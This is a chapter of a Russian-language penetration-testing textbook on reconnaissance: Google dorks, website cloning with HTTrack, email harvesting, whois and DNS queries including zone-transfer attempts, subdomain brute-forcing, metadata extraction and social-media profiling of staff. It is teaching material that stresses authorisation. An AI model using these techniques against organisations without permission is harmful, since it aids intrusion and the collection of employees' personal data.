Глава 9 Сбор информации (разведка) Умение проводить цифровые исследования — важный навык для каждого из нас сегодня. Оно незаменимо для тестировщиков на проникновение и хакеров. Существует множество примеров того, как тестировщику удалось захватить управление сетью или системой, потому что он заранее провел хорошую разведку. Как этичный хакер, вы всегда должны следить за тем, чтобы ваше исследование не выходило за рамки указанного объема теста. В ходе исследования вы снова и снова обнаруживаете уязвимую систему, связанную с целевой аудиторией, но не принадлежащую ей. Как тестировщик на проникновение, вы не можете использовать эту систему или собирать дополнительную информацию о ней без предварительного разрешения, даже если это дает вам доступ к целевой организации. Здесь вы как белый хакер ограничены по сравнению с черным хакером, который может без всяких ограничений проникнуть в цель и захватить ее любым возможным способом. Он может без проблем получить доступ к веб-серверу, который содержит ваши данные о клиентах, но принадлежит поставщику услуг, и использовать уязвимость на веб-сайте провайдера. В большинстве случаев вам не разрешат тестировать и изучать такие сторонние системы, поэтому у вас будет мало информации о них. Но не забудьте включить в окончательный отчет как можно больше информации о любых системах, которые, по вашему мнению, могут поставить под угрозу вашего клиента. Примечание Как тестировщик на проникновение, вы должны приложить все усилия для получения необходимых разрешений, чтобы расширить объем теста, если вы обнаружите риски, не охваченные согласованным объемом задания. 9.2 Исследование Первый шаг в любой работе — исследование. Чем тщательнее вы готовитесь к выполнению задачи, тем выше вероятность того, что вы добьетесь успеха. Процитирую здесь Авраама Линкольна: «Если бы у меня было восемь часов, чтобы срубить дерево, я бы потратил шесть часов на заточку топора». То же можно сказать и про тест на проникновение. На этап сбора информации придется потратить много времени, тогда и сам тест увенчается успехом. К сожалению, эта фаза часто пренебрегается и неправильно понимается. 156
9.2 Исследование Одна из причин этого заключается в том, что новички часто не знают, какую пользу эта фаза имеет для последующих шагов. Также это наименее захватывающая и не очень техничная часть. Поэтому, будучи новичком, вы склонны считать этот шаг скучным и необязательным, что совершенно неверно. К сожалению, есть всего несколько хороших автоматизированных инструментов, которые вы можете использовать для полного расследования. В отличие от других этапов, здесь отсутствуют четко определенные правила. Поскольку полное описание этого этапа выходит за рамки книги, эта глава посвящена только сбору информации, который возможен с помощью инструментов Kali. Есть и другие варианты и источники для полного сбора информации. ◾ Директивы Google. Google — важный инструмент для сбора информации, а директивы позволяют более конкретно искать информацию в Google-индексе. Если вы ищете информацию о человеке в Google, то получите всевозможные ссылки на людей с таким именем. С помощью директив вы можете заставить Google предоставлять только результаты, которые поступают непосредственно из целевого домена. Синтаксис для поиска, например, поиск по запросу site: domain. На рис. 9.1 показано ограничение результатов для одного и того же поискового термина. ◾ Командные строки. Поддерживайте различные команды в сборе информации, такие как хост для преобразования имен хостов в IP-адреса или nslookup для запроса записей хостов с DNS-сервера. ◾ Социальная инженерия. Социальная инженерия использует уязвимость человека. Задача — побудить сотрудников разгласить конфиденциальную информацию о цели. ­ Рис. 9.1. Сравнение обычного поиска Google (снизу) и поиска с использованием директив (сверху). Результат ограничен примерно 30 000 вместо миллиона результатов 157
Глава 9 Сбор информации (разведка) 9.3 Определение целей Поскольку доступ к системе фиксируется Firewall/брандмауэром или системой обнаружения вторжений, злоумышленника можно вычислить. Поэтому необходима тщательная разведка без электронного контакта с целевой сетью. Хакер, который хорошо подготовлен, тратит большую часть усилий на хакерскую атаку и на создание профиля безопасности (Footprinting), и только около 10% времени используется для самой атаки. Для создания профиля безопасности могут помочь такие инструменты, как: ◾ DNS-отчет или запрос whois для получения доступа к публичному серверу имен домена компании. ◾ Веб-сканер позволяет копировать целевой веб-сайт для поиска в локальной копии, особенно в комментариях и метатегах веб-страниц. Пример веб-сканера — HTTrack, который я представлю в разделе 9.5.1. ◾ Взлом Google (также известный как Google Dork). Грамотно сформулированные поисковые запросы предоставляют вам разнообразную информацию, которую невозможно получить с помощью обычного поиска. Эти типы поиска обсуждаются в разделе 9.5.2. 9.4 Пассивное сканирование против активного Информация о цели поможет вам понять систему и определить, где находятся уязвимости. Активное сканирование означает, что вы взаимодействуете непосредственно с целью при сборе информации. Есть риск быть замеченным и заблокированным. Пассивное сканирование — это сбор информации, при котором риск обнаружения злоумышленника равен нулю. Трафик не отправляется в сам пункт назначения, потому что с ним нет прямого взаимодействия. Google и другие поисковые системы — очень полезный инструмент. Для сбора информации о вашей цели вы будете использовать активное и пассивное сканирование. Большая разница в том, взаимодействуете ли вы с целевой системой или нет. Nmap — это активный инструмент, который могут обнаружить эксперты по безопасности цели. Примеры пассивных инструментов — Tripwire и Wireshark. Активные инструменты изменяют или отправляют трафик на цель, а пассивные только получают данные. 158
9.5 Инструменты для сбора информации 9.5 Инструменты для сбора информации Как уже упоминалось, задача разведки — получить максимально возможное количество информации о цели. На этом этапе не следует упускать из виду никакие детали, даже если они кажутся вам незначительными. Полученные данные должны храниться в централизованном месте, желательно в цифровом виде. Цифровые записи легко искать, сортировать, редактировать, копировать и оценивать. Но все люди разные, поэтому есть тестировщики, которые предпочитают распечатывать собранную информацию, тщательно каталогизировать и архивировать ее. Если вы выступаете за печатный сборник информации, вы не должны забывать аккуратно структурировать его. Также имейте в виду, что коллекция может быстро вырасти до нескольких сотен страниц с одного заказа. Доказано, что сначала полезно найти веб-сайт цели. Для этого выполните поиск в поисковой системе по названию организации. Важно Уже упоминалось, что важно иметь и использовать изолированную хакерскую лабораторию, чтобы случайно не атаковать цель, которой нет в вашей сети. Однако для средств анализа (разведки) важно иметь активное межсетевое соединение. 9.5.1 HTTrack — веб-сайт в виде автономной копии Как правило, при сборе информации о цели вы начинаете с более детального изучения целевого сайта. Здесь бесплатный инструмент HTTrack помогает скопировать веб-сайт, переходя по каждой странице, и создает идентичную автономную копию целевого сайта на локальном компьютере. Это позволяет изучать их в автономном режиме и тщательно оценивать без использования веб-сервера компании. Примечание Чем больше времени вы тратите на изучение домашней страницы цели, тем больше вероятность, что ее активность будет распознана и отслежена. При каждом прямом посещении домашней страницы вы оставляете после себя цифровой след. Опытные тестировщики на проникновение могут использовать автоматизированные инструменты (например, OWASP-ZAP) для извлечения дополнительной или скрытой информации из локальной копии веб-сайта. 159
Глава 9 Сбор информации (разведка) Помните, что клонирование веб-сайтов легко отследить и можно рассмотреть как агрессивное действие. Никогда не используйте это без разрешения. Получить HTTrack можно несколькими способами. Вы можете скачать его прямо с домашней страницы 36. Он доступен для Windows, Linux и Android. Установка Windows проста — запустите exe-файл. Во многих дистрибутивах Linux для взлома типа Kali Linux он включен в репозиторий. Чтобы установить его, убедитесь, что на этом компьютере есть подключение к интернету, и введите следующую команду: sudo apt install httrack После завершения установки HTTrack вы можете запустить его: httrack Когда вы запустите HTTrack с терминала, он задаст вам ряд простых вопросов, которые можно подтвердить с помощью клавиши Enter, чтобы выбрать стандартное значение. Однако для копирования конечного объекта необходимо ввести имя проекта и допустимый URL-адрес. Желательно потратить время на чтение отдельных вопросов, а не принимать значения по умолчанию. После того как вы ответите на все вопросы, вам нужно нажать (Y), чтобы начать процесс клонирования. Это может занять несколько секунд или несколько часов, в зависимости от размера целевого сайта. Поскольку создается точная копия страницы, необходимо также учитывать доступное место на жестком диске локального компьютера. Когда HTTrack завершит процесс, вы получите сообщение «Готово. Спасибо за использование HTTrack!» Клонированный веб-сайт можно найти в каталоге /root/веб-сайты/название проекта. Его можно открыть в Firefox, введя этот адрес в адресной строке. Теперь вы готовы работать с копией веб-сайта. Начинается ручная часть: вы просматриваете страницы и записываете интересную информацию, которую найдете, например: ◾ ◾ ◾ ◾ ◾ ◾ ◾ Почтовый адрес. Местонахождение. Номера телефонов и адреса электронной почты. Время работы. Деловые отношения. Имена сотрудников. Связи в социальных сетях. При поиске информации на сайтах цели важно обращать внимание на каждую мелочь, чтобы найти как можно больше информации об организации. 36 160 http://www.httrack.com/
9.5 Инструменты для сбора информации Поиск требует много терпения и времени, но может иметь решающее значение для успеха по мере продвижения теста на проникновение. Также важно уделять особое внимание вещам, которые являются «новыми» или помечены «объявления/анонсы». Поскольку компании гордятся своими достижениями, такие объявления часто могут содержать непреднамеренную утечку информации. Слияния и поглощения компаний — тоже ценная информация. Это совет тестировщику — расширить область применения теста и рассмотреть дальнейшие цели. Переходный период — это уникальная возможность воспользоваться изменениями и путаницей. Однако объединенные и дочерние компании должны быть утверждены в качестве целевых объектов, прежде чем добавлять их в список. Эти организации могут открыть двери доступа к целевому объекту. Объявления о вакансиях на технические должности — тоже хороший способ узнать об используемых в компании технологиях: они часто содержат список навыков работы с программным и аппаратным обеспечением. Если в объявлении указано, что соискатель должен иметь сертификат Cisco, то можно предположить, что брандмауэры, коммутаторы и другие сетевые устройства, скорее всего, от Cisco. Возможно, с помощью этой должности пытаются привлечь на работу недостающих специалистов, поскольку нет никого, кто мог бы правильно и безопасно настроить оборудование. После тщательного изучения целевого веб-сайта в большинстве случаев у вас уже есть четкое понимание того, для чего он предназначен, что он делает и где он базируется, какие технологии использует. С этой базовой информацией о цели вы можете проводить пассивную разведку. Поскольку ее сложно или даже невозможно обнаружить хакерам или тестировщикам на проникновение, она представляет мало риска для злоумышленника, но в то же время дает много преимуществ. 9.5.2 Google Dork — взлом поисковых запросов Дальнейший поиск информации о цели осуществляется с помощью разных поисковых систем. Есть много отличных поисковых систем, но с точки зрения основ взлома очень хорош Google. Его сканеры активно и постоянно просматривают все уголки интернета, каталогизируют информацию и отправляют ее на серверы. Этот подход настолько эффективен, что Google можно использовать как единственный инструмент для проверки на проникновение. Он известен как Google Hacking или Google Dorking. Объем книги не позволяет погрузиться в его глубины, но вы получите базовое понимание, которое позволит вам умело использовать Google для тестирования на проникновение. Если вы хотите стать профессиональным тестиров- 161
Глава 9 Сбор информации (разведка) щиком, то вам стоит разобраться с искусством Google Hacking еще подробнее. Могу порекомендовать для этого материалы Джонни Лонга (Johnny Lon g)37. Использовать Google довольно просто. Достаточно зайти на google.com в веб-браузере и ввести поисковый запрос в строку поиска. Но хакеру этого будет недостаточно для получения удовлетворительных результатов. Это значит, что вам нужно научиться получать максимальную отдачу от результатов поиска, подходя к поиску более эффективно. Для этого придется разобраться с вопросом директив Google. Отточив свои навыки работы с поисковыми системами, вы сможете сэкономить много времени и найти скрытые сокровища, спрятанные на многих веб-сайтах интернета. С помощью директив Google можно оптимизировать результаты поиска. Это ключевые слова, которые помогают более целенаправленно извлекать информацию из индекса Google. Например, если вы ищете информацию обо мне, самым быстрым способом будет ввести термин «Jürgen Ebner» в строку поиска Google. Здесь вы можете найти много информации обо мне, а также о других людях с таким же именем, — например, о футболисте и сотруднике отдела кадров. Директивы Google позволяют делать именно то, что вы хотите. В примере мы расширим поиск, включив в него целевой веб-сайт. Это заставит Google предоставлять только результаты, полученные непосредственно с целевого домена (здесь: icte.at). Для этого используется директива site: — она возвращает только те результаты, которые содержатся в поисковом запросе и могут быть найдены непосредственно на сайте. Это сокращает количество результатов с 1,2 миллиона до 38, что значительно экономит время при их анализе. Рис. 9.2. Ограничение результатов поиска с помощью директив Google 37 162 «Google Hacking для специалистов по тестированию на проникновение». Джонни Лонг, Билл Гарднер, Джастин Брон.
9.5 Инструменты для сбора информации Директива Google состоит из имени и термина, который будет использоваться в директиве, разделенных двоеточием. Вот пример: site: domäne Suchbegriff Директива, двоеточие и доменное имя пишутся без пробелов. Так что если вы хотите найти Юргена Эбнера (Jürgen Ebner) на сайте ICTE, поиск будет выглядеть следующим образом: site: icte.at Jürgen Ebner При поиске в Google нет разницы между заглавными и строчными буквами. Результат всегда будет одинаковым. Две другие директивы Google, которые могут быть вам полезны, — это intitle и allintitle. Здесь выводятся только веб-страницы, в заголовках которых содержатся ваши поисковые запросы. При allintitle выводятся только веб-страницы, которые содержат в заголовке все поисковые запросы, а при intitle в заголовке должен быть хотя бы один запрос. Хороший пример использования allintitle — следующий поиск: allintitle: index of В результате вы получите список всех каталогов, которые были проиндексированы Google и доступны на соответствующем веб-сервере. Это хорошая отправная точка для сбора информации о вашей цели. Вы также найдете здесь информацию, которую иначе не смогли бы получить напрямую. Если вы ищете только веб-сайты, вам может быть интересна директива inurl:. Она позволяет найти особенно интересные страницы на целевом веб-сайте: inurl: admin Это позволяет, например, идентифицировать страницы администрирования или конфигурации целевого веб-сайта. Также может быть полезно искать веб-страницы и файлы, которые уже были удалены с исходного сайта. Их все еще можно найти в кэше Google. Преимущество этого поиска в том, что вас сложнее отследить, потому что вы оставляете меньше следов на целевом сервере. Кэш Google содержит урезанную версию всех веб-сайтов, которые Google изучил и каталогизировал. Он включает код веб-сайта и множество файлов, обнаруженных веб-ботами. Это могут быть файлы любого типа, особенно документы PDF и Office. Вы будете удивлены, насколько часто информация случайно попадает в интернет. Иногда системный администратор создает таблицу Excel, содержащую все IP-адреса, имена компьютеров и расположения в сети. Чтобы не носить ее с собой, он размещает таблицу во внутренней сети организации, где она должна быть доступна только сотрудникам этой организации. Но вместо 163
Глава 9 Сбор информации (разведка) внутренней сети она случайно оказывается на веб-сайте компании. Если поисковые роботы Google уже проиндексировали этот сайт до того, как ошибка была обнаружена и документ удален с веб-сайта, он может сохраняться в кэше Google. Поэтому рекомендуется всегда проверять и кэш. Поиск можно выполнить, например, с помощью: cache: icte.at Однако следует иметь в виду, что, если вы нажмете на ссылку на странице, вы попадете на активную страницу, а не версию в кэше. Если вы хотите просмотреть страницу в кэше, измените ее адрес в поисковом запросе. Еще одна директива, интересная для теста на проникновение, — filetype (тип файла). Она позволяет искать определенные расширения файлов. Для поиска PDF-документов можно использовать следующую команду: filetype: pdf Вы можете искать и другие типы файлов, такие как.docx,.xlsx,.pptx,.txt и т. д. Можно объединить и несколько директив в поисковом запросе, чтобы повысить гибкость и точность. Например, выполнить поиск PDF-файлов на определенном веб-сайте, введя следующую команду: site: domäne filetype: pdf В результате все PDF-документы будут расположены непосредственно в указанном домене. После того, как установлено, что приложение содержит уязвимость, исследователи безопасности и хакеры часто используют в своих эксплойтах подходящие Google-Hacks для поиска уязвимых целей в Google. Подробный список их и методов взлома Google можно найти на сайте https:// www.exploit-db.com/google-hacking-database в разделе GHDB (Google Hacking Database — база данных взлома Google). ­ ­ Рис. 9.3. База данных Google Hacking; чтобы найти соответствующий Hack, можно отфильтровать поиск по категориям. 164
9.5 Инструменты для сбора информации В этом разделе вы кратко ознакомились с вариантами получения информации о вашей цели с помощью Google Dork. Есть много иных директив и Google-Hacks, с которыми вам стоит ознакомиться. Также рекомендуется использовать другие поисковые системы. Часто отдельные системы предоставляют разные результаты по одним и тем же поисковым запросам. Вот почему вам следует обратить внимание на такие поисковые системы, как Bing, Yahoo или Ask. ­ Примечание Помните, что этот пассивный поиск пассивен только до тех пор, пока вы ищете. Как только вы подключаетесь к целевой странице, нажав на одну из ссылок, вы уже находитесь в активном режиме. Активная разведка без разрешения может рассматриваться как незаконная деятельность. 9.5.3 Группы новостей, справочные форумы и т. п. как источник информации Не только сайт вашей цели может предоставить полезную информацию. Ищите сведения в других частях интернета, например, в новостях, цифровых досках объявлений или группах Google. Справочные и дискуссионные форумы часто задают вопросы о технических проблемах и отвечают на них. К сожалению или к счастью, сотрудники часто вдаются в подробности и раскрывают конфиденциальную информацию, даже не осознавая этого. Подумайте о сетевом администраторе, у которого возникли проблемы с настройкой нового брандмауэра. На публичных форумах такие администраторы часто размещают разделы конфигурационного файла, не редактируя их заранее. Что еще хуже, они также используют свой собственный адрес электронной почты. Для злоумышленника и тестировщика на проникновение эта информация на вес золота. Но даже если администратор сети не опубликовал подробный файл конфигурации, такие сообщения часто содержат непреднамеренно полезную информацию. Несмотря на замаскированные и отредактированные сообщения, можно найти данные о версии ПО, модели оборудования, текущих настройках конфигурации или аналогичные сведения о внутренних системах. Обязательно запишите эту информацию для использования в тесте на проникновение. Совет Публичные форумы — это отличное место для получения технической помощи и обмена информацией. Но вместо адреса вашей компании используйте более анонимный адрес электронной почты, например: GMX, Gmail или Outlook.com. 165
Глава 9 Сбор информации (разведка) 9.5.4 Социальные сети как источник информации В разделе 9.5.13 мы более подробно рассмотрим тему социальной инженерии, но на этом этапе я хотел бы кратко показать вам, как социальные сети могут помочь вам получить информацию о цели. Представьте, что тест на проникновение в малый бизнес показывает, что у системного администратора есть аккаунт в социальной сети. С помощью социальной инженерии вы можете сделать его своим другом в интернете и следить за ним по каналам. Наверное, ничего интересного не произойдет в течение нескольких недель, но из ниоткуда вы получаете прямое попадание: «Отлично! Наш брандмауэр пересек реку Иордан без предупреждения! Так что теперь мне придется работать в ночную смену, чтобы снова запустить новый сервер». Или: «Планирование бюджета завершено, старый сервер, вероятно, останется в работе еще на год». Эти два примера могут быть несколько преувеличены. Но вы будете удивлены, какую информацию вы можете получить, когда посмотрите, что публикуют сотрудники вашей целевой организации. 9.5.5 TheHarvester — обнаружение и использование адресов электронной почты С инструментом TheHarvester вы быстро и точно получите каталогизированные адреса электронной почты и поддомены, связанные с целевым объектом. Необходимо использовать последнюю версию Harvester: поисковые системы регулярно обновляются, и даже небольшие изменения в их поведении могут привести к тому, что автоматизированные инструменты будут неэффективны. Поисковые системы фильтруют результаты перед их возвращением и применяют методы ограничения, чтобы предотвратить автоматизированные запросы. 166
9.5 Инструменты для сбора информации Рис. 9.4. Результаты поиска «theharvester -d icte.biz -l 500 -b google» С помощью TheHarvester вы можете искать адреса электронной почты, хостов и поддоменов в Google, Bing и PGP-серверах. Многие считают, что знание адреса электронной почты не может причинить вреда, но существуют опасности, которые нужно иметь в виду. Если злоумышленник при сборе информации обнаружит адрес электронной почты сотрудника, он может составить список возможных имен пользователей сети. Часто компании используют часть адреса электронной почты перед знаком @ в точно такой же форме в качестве имени пользователя. Используя метод грубой силы с несколькими возможными именами, злоумышленник может пробиться к сервисам, обнаруженным на этапе сканирования. 167
Глава 9 Сбор информации (разведка) Чтобы получить информацию о цели, откройте терминал и выполните следующую команду: theHarvester -d domain -l 500 -b directory Эта команда ищет адреса электронной почты, поддомены и хосты, принадлежащие домену, который вы вводите здесь. Что означают опции, с которыми вызывается TheHarvester? ◾ Целевой домен указывается с помощью параметра -d в конце. ◾ -l (это маленькая L, а не единица) используется для ограничения количества возвращаемых результатов. ◾ -b указывает, в какой публичной директории будет производиться поиск. Вы можете выбрать один из возможных вариантов: ◾ Google. ◾ Bing. ◾ PGP и т. д. Что означают полученные результаты? Если TheHarvester успешно справился с задачей, он находит разные адреса электронной почты, которые могут оказаться ценными для тестировщика на проникновение. Кроме того, TheHarvester находит поддомены, которые можно использовать для разведки. Два новых домена (как показано на рис. 9.4) нужно добавить в список целей и начать разведку заново. Разведка — очень цикличный процесс: детальное исследование часто приводит к обнаружению новых целей, которые требуют дальнейшей проверки. Поэтому этот этап может длиться несколько часов или даже недель. Помните, что амбициозный злоумышленник знает толк в хорошей разведке и часто может заниматься ею почти бесконечно. Поэтому тестировщик на проникновение тоже должен уделять этой задаче как можно больше времени. 9.5.6 Домен как источник информации Whois — кто владелец? Если у вас есть домен (или несколько доменов) целевой организации, вы можете получить дополнительную информацию о цели. Служба Whois предоставляет вам доступ к IP-адресам и именам хостов DNS-серверов компании, а также к контактной информации, которая часто включает адрес и номер телефона. 168
9.5 Инструменты для сбора информации Примечание DNS-серверы необязательно принадлежат заказчику или целевой компании. Для атак потребуется отдельное разрешение. Есть несколько способов получить эту информацию. Помимо возможности получить ее через различные веб-сайты, Whois также является сервисом в Linux. Чтобы вызвать его, введите в терминале следующую команду: whois target domain Всегда записывайте всю полученную информацию. Особенно важны здесь DNS-серверы. Если они указаны только вместе с именем хоста, как на рис. 9.5, прочитайте раздел 9.5.7, чтобы узнать, как получить IP-адрес через имя хоста. GDPR К сожалению, поскольку в 2018 году вступил в силу общий регламент по защите данных (англ. General Data Protection Regulation, — регламент Евросоюза по сбору, хранению и обработке персональных данных граждан ЕС), некоторые из этих запросов больше не выполняются. Но вам все равно следует сделать запрос: он может предоставить ценную информацию. Сделав вызов на указанный в запросеWhois-сервис, зачастую можно узнать дополнительную информацию о домене. Рис. 9.5. Часть вывода whois в Kali Linux 169
Глава 9 Сбор информации (разведка) Отчет по сайту Отчет о сайте Netcraft 38 предоставляет еще один источник информации о домене. Достаточно ввести соответствующий домен в поле поиска на странице, и вы получите всю информацию о сайте, которая известна сервису. Если вы обнаружите здесь информацию, которую пропустили в предыдущих поисках, обязательно добавьте ее в список возможных направлений. Запрос предоставит вам ценный раздел информации о месте назначения, включая IP-адрес и ОС веб-сервера и DNS. Всегда записывайте всю информацию: она может пригодиться в дальнейшем. Команда host IP-адреса важны для атак и активного сканирования, чтобы напрямую обращаться к целям. Однако предыдущие исследования, вероятно, в основном выявили имена хостов. Теперь пришло время превратить имя хоста в IP-адрес. В большинстве систем Linux также есть встроенный инструмент для этого. Вы можете вызвать его, введя следующую команду: host hostname_of_the_target Если во время запроса Whois вы обнаружили DNS-сервер с именем хоста ns1. domain.com, вы можете использовать следующую команду для определения его IP-адреса: host ns1.domain.com Также можно ее использовать для преобразования IP-адреса в имя хоста, введя следующую команду: host IP-Address С параметром -a вы получаете подробный вывод, с помощью которого можно получить дополнительную информацию о цели. 9.5.7 Получение информации от DNS-серверов DNS — это ядро локальных и интернет-сетей. DNS-сервер преобразует доменные имена в IP-адреса, потому что легче запомнить имена, чем комбинации чисел. Однако, в отличие от людей, компьютер предпочитает представление с помощью чисел. DNS-сервер — это интерпретатор для людей и машин. Вот почему это всегда интересная цель для хакеров и тестировщиков на проникновение. При тестировании на проникновение всегда важно смотреть на DNS-серверы, которые принадлежат цели. Для работы служба DNS должна знать IPадреса и имена хостов всех компьютеров в соответствующей сети. При полном ­ 38 170 https://sitereport.netcraft.com/
9.5 Инструменты для сбора информации доступе к DNS-серверу у вас есть план строительства целевой организации, который содержит список всех внутренних IP-адресов и имен хостов целевой организации. Важная часть сбора информации — поиск всех IP-адресов, связанных с целью. Помимо списка IP-адресов, DNS-сервер интересен еще и тем, что в него часто не вносятся изменения, пока он работает бесперебойно. В частности, менее опытные сетевые администраторы боятся устанавливать патчи и обновления на DNS-серверы или вносить изменения, поскольку редко до конца их понимают. По сути, DNS-серверы работают стабильно, пока никто не вмешивается в их рабочий процесс. Администраторы быстро понимают, что чем меньше вы с ними имеете дело, тем меньше проблем они вызывают. Однако это может быть проблемой безопасности и преимуществом для тестировщика: многие сетевые администраторы все еще действуют по этому принципу и (как следствие) есть много неправильно настроенных и непропатченных DNS-серверов. Это означает, что множество ценных целей, которые не обеспечены необходимыми патчами или устарели. Но прежде чем вы сможете изучить DNSсервер, вам понадобится его IP-адрес. В своих исследованиях вы, вероятно, несколько раз сталкивались с информацией о DNS-сервере — иногда в виде имен хостов или также в виде IP-адреса. Как уже упоминалось ранее, команда host позволяет узнать IP-адрес имени хоста, который можно добавить в список возможных целей. В этом случае вы можете дважды и трижды проверить, охватываются ли собранные вами IP-адреса утвержденным объемом теста. DNS-серверы всегда содержат список IP-адресов всех известных устройств, которым присвоено имя хоста. В большинстве сетей существует несколько DNS-серверов, чтобы сбалансировать нагрузку и обеспечить избыточность. Этим серверам необходим способ обмена информацией. Обмен происходит с помощью передачи данных зон. Сервер отправляет все соответствия имен и адресов на другой DNS-сервер в процессе, известном как AXFR. Это обеспечивает синхронизацию отдельных DNS-серверов. Однако даже если вы не выполняете передачу данных зон, уделите время тщательной проверке всех DNS-серверов в оговоренном объеме. nslookup Для запроса DNS-серверов вы можете использовать nslookup. Это позволяет получать записи об известных серверу хостах. Инструмент встроен во многие версии Linux, включая Kali, и доступен даже для Windows. Как и в случае с другими инструментами, вы также можете вызвать nslookup с различными опциями, необходимыми для поиска. Приложение не сильно отличается в разных дистрибутивах Linux, но все же стоит ознакомиться 171
Глава 9 Сбор информации (разведка) с инструкциями к используемой системе. В Linux вы можете открыть так называемую справочную страницу с помощью следующей команды: man nslookup Когда вы вводите nslookup в терминале, инструмент запускается. Об этом можно судить по тому факту, что обычная командная строка # заменена на >. Теперь вы можете вводить запросы. Чтобы познакомить вас с nslookup, я начну с запроса IP-адреса сервера, чтобы установить в качестве сервера по умолчанию DNS-сервер Google: server 8.8.8.8 Затем укажите, какой тип записи искать. На этапе «Сбор информации» вас интересует множество различных типов записей, поэтому нужно ознакомиться с полным списком всех записей DNS и их значением. Если вы собираете общую информацию, рекомендуется задать любой тип «any»: set type=any Конечно, вы также можете искать и другие записи DNS: txt, A, CNAME, mx и т. д. Для этого замените любую «any» на нужную запись. Если вы настроили DNS-запрос с помощью nslookup, можете ввести имя целевого домена. dig — получение информации о DNS В Linux есть отличный инструмент для получения информации о DNS. Как и многие другие инструменты, он запускается в терминале с помощью следующей команды: dig @[Target-IP-Address] ­ IP-адрес назначения должен быть заменен на искомый IP-адрес, например, dig 192.168.178.20. С помощью этой команды можно попытаться выполнить передачу/перенос зоны, при которой с DNS-сервера извлекается несколько записей. В некоторых случаях передача приводит к тому, что DNS-сервер целевой организации отправляет все записи, которыми он располагает. Это может быть полезно, если целевой сервер при передаче не различает внутренний или внешний IP-адрес. Вы можете выполнить передачу зоны, добавив в конец команды -t AXFR. Таким образом, если вы хотите выполнить передачу зоны с (фиктивного) DNS-сервера 1G2.1G8.178.20 и домена example.at, вам нужно выполнить следующую команду: dig 192.168.178.20 example.at -t AXFR Если передача зон разрешена и не ограничена, вы получите список имен хостов и IP-адресов в целевом домене от целевого сервера DNS. 172
9.5 Инструменты для сбора информации 9.5.8 fierce — если передача/перенос зон невозможна Хороший администратор готов к попытке зонального трансфера и предотвращает несанкционированный зональный трансфер со стороны посторонних лиц. Но у тестировщика на проникновение все еще есть возможности, если зональный трансфер не удался. Есть много других хороших инструментов для DNS-запросов. Один из них — Fierce, простой и универсальный Perl-скрипт, который может предоставить вам десятки других целей. Чтобы использовать Fierce, вам снова понадобится терминал, в котором вы вводите команду fierce и необходимые параметры. Запускаете инструмент с помощью fierce с опцией —domain, за которой следует целевой домен: fierce —domain icte.biz Сначала скрипт пытается выполнить полный перенос зоны из указанного домена. Если это не сработает, Fierce отправляет серию запросов на целевой DNS-сервер, чтобы узнать имена хостов методом грубой силы. Этот метод можно использовать для определения дополнительных целей. Идея в том, что, тестируя на проникновение, вы знаете владельца домена, но он владеет не только доменом, но, возможно, и субдоменами, такими как служба поддержки. 9.5.9 Получение информации с серверов электронной почты Электронные почтовые серверы — если они не размещены у других провайдеров — содержат богатый источник информации. Электронные письма — часто хороший ключ для входа в целевую организацию. Если почтовый сервер управляется ею, у вас, как правило, есть отличная цель для атаки. Здесь действует правило: «Что можно заблокировать, а что нужно пропустить?» Внешний трафик должен пройти через несколько устройств, таких как маршрутизаторы и брандмауэры, прежде чем достигнет почтового сервера внутри защищенной сети. Чрезвычайно ценную информацию можно получить здесь, связавшись напрямую с почтовым сервером. Отправляя электронные письма, содержащие пустой.bat-файл или безобидный.exe-файл, вы уже можете разведывать почтовые серверы. Чтобы получить информацию о сервере, электронное письмо также должно дойти до него, а затем быть отклонено. Отклоненное сообщение, которое вы получите обратно, поможет получить информацию о целевом почтовом сервере. Зачастую в теле сообщения содержится утверждение о том, что сервер не будет принимать письма с потенциально опасными вложениями. Это сообщение также часто включает в себя производителя и версию антивирусного ПО, используемого для сканирования почты. Для вас как атакующего это ценная информация. 173
Глава 9 Сбор информации (разведка) Вы также можете изучить заголовок ответного сообщения и часто получить основные данные о сервере — например, IP-адрес и сведения о серверном ПО. Эта информация очень полезна на этапе вторжения. 9.5.10 MetaGooFil — извлечение метаданных MetaGooFil — еще один отличный инструмент для сбора информации. Он используются для извлечения метаданных, часто называемых данными о данных. При создании документа Office (например, Word или Excel) также создаются дополнительные данные, которые также сохраняются в файле. Эти данные содержат информацию, описывающую документ, включая имя файла, его размер, создателя и местоположение/путь, где файл хранился. Пользователь не должен ничего делать, это автоматический процесс. Рис. 9.6. Поиск и загрузка MetaGooFil Когда злоумышленник обладает этой информацией, он получает одноразовое представление о целевой организации, включая имена пользователей, компьютеров и серверов, сетевые пути, общие папки и другую полезную ин- 174
9.5 Инструменты для сбора информации формацию. MetaGoo-Fil ищет в интернете документы, принадлежащие цели, загружает их и извлекает полезные метаданные. ­ Раньше этот инструмент поставлялся вместе с Kali, но теперь его нужно сначала установить. Это можно сделать с помощью команды metagoofil и нужных опций в окне терминала. Лучше всего создать для этого отдельный каталог, а затем запустить MetaGooFil. Мы будем загружать PDF-файлы с домашней страницы Kali: mkdir /root/Documents/files cd /root/Documents/files metagoofil -d kali.org -t pdf -l 100 -n 25 Рассмотрите команду подробнее: ◾ metagoofil вызывает скрипт Python. ◾ -d — это опция для целевого домена, в котором будет производиться поиск. ◾ -t — параметр, указывающий типы загружаемых файлов. Могут быть прочитаны метаданные из форматов pdf, doc, xls, ppt, odp, ods, docx, xlsx и pptx. Можно указать несколько типов файлов, разделив их запятой — без пробелов. ◾ -n указывает, сколько файлов каждого типа должно быть загружено для изучения. ◾ -o используется для указания каталога для сохранения. ◾ -f определяет файл, в который будет записан результат. 9.5.11 Maltego — сопоставление собранных данных Maltego — проект с открытым исходным кодом, разработанный компанией Paterva. Он может выявлять связи между собранной информацией и предоставлять структурные данные о ней. Эта функция отличает его от других инструментов, представленных до сих пор. Maltego — это Lite-Tool/легкий инструмент, который не требует максимальных требований для работы на ПК. Он предоставляет мощные возможности поиска и обеспечивает более точные результаты по сравнению с другими инструментами для сбора информации. ­ Предустановленная версия Maltego в Kali Linux — не полная, а только Community-Version (версия для сообщества). Есть также платная версия, которая предлагает больше возможностей поиска и гораздо лучший результат. Прежде чем использовать инструмент, вы должны зарегистрироваться. Когда вы запускаете его в первый раз, появляется экран входа в систему. Если у вас уже есть данные для входа, вы можете использовать их, в противном случае вам придется создать новую учетную запись. После входа в инструмент ­ 175
